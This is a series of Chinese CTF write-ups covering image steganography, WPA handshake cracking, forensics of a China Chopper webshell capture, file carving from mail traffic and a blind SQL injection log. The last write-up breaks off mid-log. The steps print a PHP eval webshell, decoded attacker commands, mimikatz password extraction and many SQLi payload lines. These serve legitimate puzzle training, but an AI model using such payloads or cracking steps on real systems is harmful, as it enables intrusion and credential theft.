(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
(3, 2, 44) (3, 2, 0)
(3, 2, 44) (3, 2, 1)
(3, 2, 44) (3, 2, 1)
(3, 2, 44) (3, 2, 0)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(4, 3, 45) (4, 3, 0)
(4, 3, 45) (4, 3, 1)
(3, 2, 44) (3, 2, 0)
(3, 2, 44) (3, 2, 0)
(3, 2, 44) (3, 2, 1)
(3, 2, 44) (3, 2, 1)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 1)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 1)
(4, 1, 44) (4, 1, 1)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 1)
(4, 1, 44) (4, 1, 0)
(4, 1, 44) (4, 1, 1)
(3, 2, 44) (3, 2, 0)
(3, 2, 44) (3, 2, 1)
(3, 2, 44) (3, 2, 1)
(3, 2, 44) (3, 2, 0)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 0)
(2, 1, 43) (2, 1, 0)
(2, 1, 43) (2, 1, 0)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 0)
(2, 1, 43) (2, 1, 1)
(1, 0, 42) (1, 0, 1)
(1, 0, 42) (1, 0, 1)
(1, 0, 42) (1, 0, 0)
(1, 0, 42) (1, 0, 1)
(1, 0, 42) (1, 0, 1)
(1, 0, 42) (1, 0, 1)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 1)
(2, 1, 43) (2, 1, 0)
(2, 1, 43) (2, 1, 1)

发现前两位都一样,但最后一位存在差异,而且第二章图片的最后一位都是0或者1,猜想可能隐藏了数据

所以我们要把01段提取出来,8位一组,转为字符,得到字符串,应该就是flag

所以我们修改一下上面的脚本

from PIL import Image
import binascii
import re

img1 = Image.open("1.png")
im1 = img1.load()
img2 = Image.open("2.png")
im2 = img2.load()

s=''

for x in range(img1.size[0]):
    for y in range(img1.size[1]):
        if(im1[x, y] != im2[x, y]):
            s = s + str(im2[x, y][2])

s = str.strip(re.sub(r'(\d{8})', r'\1 ', s))
a = ''.join([chr(i) for i in [int(b, 2) for b in s.split(' ')]])
lista = ''.join(a)
print lista

运行一下得到whale{w3_ar3_d1ffe2en7}

Day 12

黑白打字机

题干:仔细看看图片,答案的格式是venusctf{xxxxx},所以答案是

相关知识:

五笔输入法时中国、台湾、日本等利用结构字体书写的国家根据字体字根发明的一种输入法。我们将键盘上的按键映射到不同字体的字根,如横、竖等。最终只需要记忆每个字的字根病熟练练习就能比拼音输入法更快的输入汉字。而最正宗的五笔编码的86版的王码编码

解题步骤:

那道题目是一张被反色了的二维码图片,用画图工具进行反色,扫描二维码,得到:你会五笔吗

猜想应该要将这五个字编码为五笔,得到wqiywfcugghgttfnkcg

之后注意到文件名很可疑,倒过来读发现是steganography

所以我们要借助工具image steganography来帮助我们解密文件

直接解密发现解出来是一堆乱码,于是我们要用到decrypt功能,弹出一个password窗口,猜想刚才的五笔编码可能就是password

尝试输入,成功得到flag:venusctf{V3nus_St3gan0graph1_1s_g00d}

Day 13

神龙的召唤

题干:一恒河沙中有三千世界,一张图里也可以有很多东西。答案是与一部动漫名字有关的小写英文字母。flag格式:venusctf{xxx}

解题步骤:

拿到题目是一张在杂志上经常看到的图片

binwalk跑一下,发现一个zip压缩包

foremost分离,得到压缩包,解压

得到一个rar的压缩文件

先用unrar试着打开,发现需要密码,一开始以为是伪加密或者爆破啥的,后来发现都不是

再次使用binwalk,又发现一张jpg图片

于是,再次使用foremost分离一下,得到一张倒过来的龙珠的图片

有根据题目提示,尝试输入venusctf{longzhu},不对,后来又尝试了多种,加上图片给我们的提示

最终的flag是venusctf{llabnogard},即dragon ball的反写

Day 14

A记录

题干:他在看什么视频,好像很好看,不知道是什么网站的。 还好我截取了他的数据包,找呀找。 key就是网站名称。格式ctf{key} tip:A记录的第一条。所以答案是

相关知识:

我们使用的无线网络非常不安全,因为谁都可以介入,所以我们使用了安全协议进行保护,从无限等效协议wep到wpa2,使用了rsa公司开发的rc4算法以及ase等加密方式对加入者的信息进行保护,并且也限制了只能知晓密钥的用户才能加入

wifi协议:

wifi限制了加入者,只有被主人给予权限的人才可以接入指定wifi,这也是我们的wifi利用加密方式做到的

wifi加密方式:

  • wep加密:已经过时,非常不安全,加密也是白加
  • wpa/wpa2-psk加密:wpa是wep的过渡方案,wpa2优化了wpa更为安全的算法

解题步骤:

用wireshark打开,发现被加了密

使用aircrack-ng进行破解,扔进kali

root@kali:~/Desktop# aircrack-ng shipin.cap
Opening shipin.cap
Read 16664 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1D:0F:5D:D0:EE  0719                      WPA (1 handshake)

Choosing first network as target.

Opening shipin.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...

发现是wpa加密,用字典爆破一下

root@kali:~/Desktop# aircrack-ng shipin.cap -w password.txt 
Opening shipin.cap
Read 16664 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1D:0F:5D:D0:EE  0719                      WPA (1 handshake)

Choosing first network as target.

Opening shipin.cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 rc3


                   [00:00:00] 8 keys tested (486.23 k/s)


                           KEY FOUND! [ 88888888 ]


      Master Key     : B4 30 38 0F 24 7B 57 AC DE B5 3A 7F 2E FE 6B 45 
                       0B 34 02 C3 89 F9 69 D5 B7 35 87 1B FB 4C EE 7F 

      Transient Key  : 17 AE 23 D0 69 7C 0D 45 2B 40 F6 7D 06 C9 C5 6F 
                       25 F0 B0 48 7A 6C 22 7C E2 73 50 71 46 FE 5D 0C 
                       8F 59 01 BE 66 56 DF 1E 58 DD 34 DB BF A7 2D FD 
                       2C 53 11 7F B2 E5 F0 16 7F 57 F5 6A 04 36 F5 71 

      EAPOL HMAC     : 75 19 C5 F3 3E 33 58 23 CA 4B A1 85 FB 46 C0 2A 

密码是88888888

再使用airdecap-ng破解

root@kali:~/Desktop# airdecap-ng shipin.cap -e 0719 -p 88888888
Total number of packets read         16664
Total number of WEP data packets         0
Total number of WPA data packets        27
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets        16

发现多了一个shipin-dec.cap

再用wireshark打开,在过滤器中输入dns

第一个A记录是google.com,但并不是答案,因为它不是视频网站

所以第二个才是我们所要的,域名是:push.m.youku.com

所以flag是ctf{push.m.youku.com}

Day 15

黑客攻击

题干:这是捕获的黑客攻击数据包,答案是Administrator的密码。答案的格式是flag{xxxxx},所以答案是

相关知识:

中国菜刀是管理员管理网站的利器,却也是黑客用来搭配一句话木马渗透网站的利器。菜刀非常短小精悍,仅仅只有几M的身躯却可以完成文件管理、数据库管理、虚拟终端执行系统命令等操作,而且新版的中国菜刀利用各种编码方式还能够绕过各类waf和安全机制的检查

解题步骤:

打开压缩包是一个pcap的数据包,用wireshark打开

因为是黑客攻击,应该是http协议,所以在过滤器中输入http进行过滤

我们发现访问的域名基本都是config.php,这应该是一句话木马组合菜刀进行渗透测试,在config.php中加入了一句话木马

yo=@eval(base64_decode($_POST[z0]));

菜刀是通过base64编码对命令进行传输,随便点开一个config.php,打开http数据段,就能看到很多参数,我们将POST里面参数的值进行解密就能获取命令

所以我们就一条一条的解码,直到找到我们可能需要的

这里要说明一个问题,题目在这里出现了一个bug,可以直接获取到password

我们点击编号为449的数据,z2的值为

Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJm5ldCB1c2UgXFwxOTIuMTY4LjMwLjE4NFxDJCAiVGVzdCFAIzEyMyIgL3U6QWRtaW5pc3RyYXRvciZlY2hvIFtTXSZjZCZlY2hvIFtFXQ==

解码得到

cd /d "c:\inetpub\wwwroot\"&net use \\192.168.30.184\C$ "Test!@#123" /u:Administrator&echo [S]&cd&echo [E]

我们发现它是利用管理员身份去登录的,而Test!@#123即为管理员的密码,其实这里我们的flag就出现了,当然题目的本意并不是这样的

在编号为10054的地方,我们看到一个rar文件生成的进度条,怀疑应该是生成了一个rar文件,猜测后面应该会有文件下载的数据

接着往下找,在编号为17729的地方看到数据特别大,怀疑是个文件下载,并且我们也看到了一个rar的数据包,验证上面我们的猜测

我们选中最后一行的Line-based text data,右键导出分组字节流,但要注意我们要把导出文件用16进制编辑器打开,删去开头处的->|和结尾处的|<-,保存

尝试去解压,发现需要密码,于是我们回到上面编号为10054的地方,查看文件生成的地方,应该会有我们想要的密码

于是我们点击编号9997,去查看生成文件的命令

cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]

百度一下winrar的命令行参数,发现-hp就是密码,那么密码我们就得到了,JJBoom

输入,成功解压,得到一个1.gif的文件,无法打开,用16进制编辑器打开,发现是一个dump文件,我们将文件名后缀改为dmp

接着我们用神器mimikatz提取密码

我们很清楚的看到,密码就是Test!@#123

所以flag就是flag{Test!@#123}

Day 16

好多苍蝇

题干:好多苍蝇啊,吧我的重要文件都爬满了,看不到怎么办?提交格式是flag{xxxx},所以答案是?

相关知识:

当我们利用网络发送文件或者数据信息时,经常会遇到文件总体大小比TPC一次连接可发送的数据大的情况。TCP为了防止分片发送的数据丢失,会将文件按照合适的大小分片后加入队列,然后利用窗口移动的原理依次向目标发送数据

解题步骤:

是一个pcapng包,用wireshark打开

使用统计功能,发现很多都是mail.qq这样的域名,猜测是发邮件,由上述知识可知,这题应该是发送一个较大的附件,分组发送

这里首要关注http的post请求

首先我们看到第一个post请求,在HTML Form URL Encoded中看到

{"path":"fly.rar","appid":"","size":525701,"md5":"e023afa4f6579db5becda8fe7861c2d3","sha":"ecccba7aea1d482684374b22e2e7abad2ba86749","sha3":""}

看到一个fly.rar的文件,还有文件的哈希值

往下找,找到连续五个带有这个md5值的post请求,编号分别为163、289、431、577、729,并且我们在编号为163的数据中看到了rar头,猜想应该是这五个文件组成了最终的fly.rar文件

选择文件->导出对象->http,将上述五个编号的文件导出,用16进制编辑器打开

发现第一个文件rar标志为前面有一串数据,长度为364,打开其他文件,发现其他文件前面也有相同的一段,猜测应该是验证什么的,并不是rar文件的数据,所以我们将前面的部分删除,再将五个文件的数据拼接在一起,生成完整的fly.rar

解压,需要密码,并且显示flag.txt头错误,我们去计算一下这个文件的哈希值,发现跟上面的md5值和sha1值相等,说明文件是没有问题的,应该是个伪加密,将第24位的84改为80,即可解决

修改之后,成功解压得到flag.txt,用notepad++打开发现是乱码,应该不是个txt文件,扔到binwalk里看一下,发现有很多东西,png图片啊什么的,而最开头是windows的一个可执行文件,不管他,直接foremost

分解出来很多png图片,全是苍蝇的图片,在最后看到一张二维码,扫描,得到flag{m1Sc_oxO2_Fly}

Day 17

注入过程

题干:分析注入过程获取flag据说管理员放置flag的方式是4位小写字母哦~。提交格式是flag{xxxx},所以答案是?

相关知识:

日志是每个应用程序以及操作系统对入侵和错误排查的重要审计数据,日志内容中可能记录了攻击者攻击的整个过程以及攻击时间,特别是web应用中所记录的日志,所以日志审计对于每一个网络管理员都是重要技能

解题步骤:

拿到是一个日志文件,打开,又根据题目,是一个注入过程,于是直接搜flag关键词,发现是查询theflag字段的详细过程

1145 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>64 80 - 192.168.1.101 500 0 0
1146 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>32 80 - 192.168.1.101 200 0 0
1147 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>48 80 - 192.168.1.101 200 0 0
1148 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>56 80 - 192.168.1.101 500 0 0
1149 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>52 80 - 192.168.1.101 200 0 0
1150 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>54 80 - 192.168.1.101  500 0 0
1151 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),1,1))>53 80 - 192.168.1.101 500 0 0
1152 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>64 80 - 192.168.1.101 500 0 0
1153 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>32 80 - 192.168.1.101 200 0 0
1154 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>48 80 - 192.168.1.101 200 0 0
1155 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>56 80 - 192.168.1.101 500 0 0
1156 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>52 80 - 192.168.1.101 500 0 0
1157 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>50 80 - 192.168.1.101 200 0 0
1158 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),2,1))>51 80 - 192.168.1.101 200 0 0
1159 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>64 80 - 192.168.1.101 500 0 0
1160 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>32 80 - 192.168.1.101 200 0 0
1161 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>48 80 - 192.168.1.101 200 0 0
1162 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>56 80 - 192.168.1.101 500 0 0
1163 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>52 80 - 192.168.1.101 500 0 0
1164 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>50 80 - 192.168.1.101 500 0 0
1165 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),3,1))>49 80 - 192.168.1.101 500 0 0
1166 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>64 80 - 192.168.1.101 500 0 0
1167 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>32 80 - 192.168.1.101 200 0 0
1168 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>48 80 - 192.168.1.101 200 0 0
1169 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>56 80 - 192.168.1.101 500 0 0
1170 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>52 80 - 192.168.1.101 500 0 0
1171 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>50 80 - 192.168.1.101 200 0 0
1172 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),4,1))>51 80 - 192.168.1.101 500 0 0
1173 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>64 80 - 192.168.1.101 200 0 0
1174 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>96 80 - 192.168.1.101 200 0 0
1175 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>112 80 - 192.168.1.101 500 0 0
1176 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>104 80 - 192.168.1.101 500 0 0
1177 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>100 80 - 192.168.1.101 500 0 0
1178 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>98 80 - 192.168.1.101 500 0 0
1179 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),5,1))>97 80 - 192.168.1.101 200 0 0
1180 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>64 80 - 192.168.1.101 500 0 0
1181 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>32 80 - 192.168.1.101 200 0 0
1182 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>48 80 - 192.168.1.101 200 0 0
1183 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>56 80 - 192.168.1.101 500 0 0
1184 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>52 80 - 192.168.1.101 500 0 0
1185 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>50 80 - 192.168.1.101 500 0 0
1186 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),6,1))>49 80 - 192.168.1.101 200 0 0
1187 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>64 80 - 192.168.1.101 500 0 0
1188 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>32 80 - 192.168.1.101 200 0 0
1189 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>48 80 - 192.168.1.101 200 0 0
1190 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>56 80 - 192.168.1.101 500 0 0
1191 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>52 80 - 192.168.1.101 500 0 0
1192 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>50 80 - 192.168.1.101 200 0 0
1193 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),7,1))>51 80 - 192.168.1.101 200 0 0
1194 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>64 80 - 192.168.1.101 500 0 0
1195 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>32 80 - 192.168.1.101 200 0 0
1196 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>48 80 - 192.168.1.101 200 0 0
1197 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>56 80 - 192.168.1.101 500 0 0
1198 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>52 80 - 192.168.1.101 200 0 0
1199 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>54 80 - 192.168.1.101 200 0 0
1200 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),8,1))>55 80 - 192.168.1.101 200 0 0
1201 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>64 80 - 192.168.1.101 500 0 0
1202 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>32 80 - 192.168.1.101 200 0 0
1203 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>48 80 - 192.168.1.101 200 0 0
1204 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>56 80 - 192.168.1.101 200 0 0
1205 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>60 80 - 192.168.1.101 500 0 0
1206 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>58 80 - 192.168.1.101 500 0 0
1207 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),9,1))>57 80 - 192.168.1.101 500 0 0
1208 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>64 80 - 192.168.1.101 200 0 0
1209 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>96 80 - 192.168.1.101 200 0 0
1210 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>112 80 - 192.168.1.101 500 0 0
1211 UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(theflag AS NVARCHAR(4000)),CHAR(32))) FROM tourdata.dbo.news WHERE CONVERT(NVARCHAR(4000),theflag)>CHAR(32)),10,1))>104 80 - 192.168.1.101 500 0 0
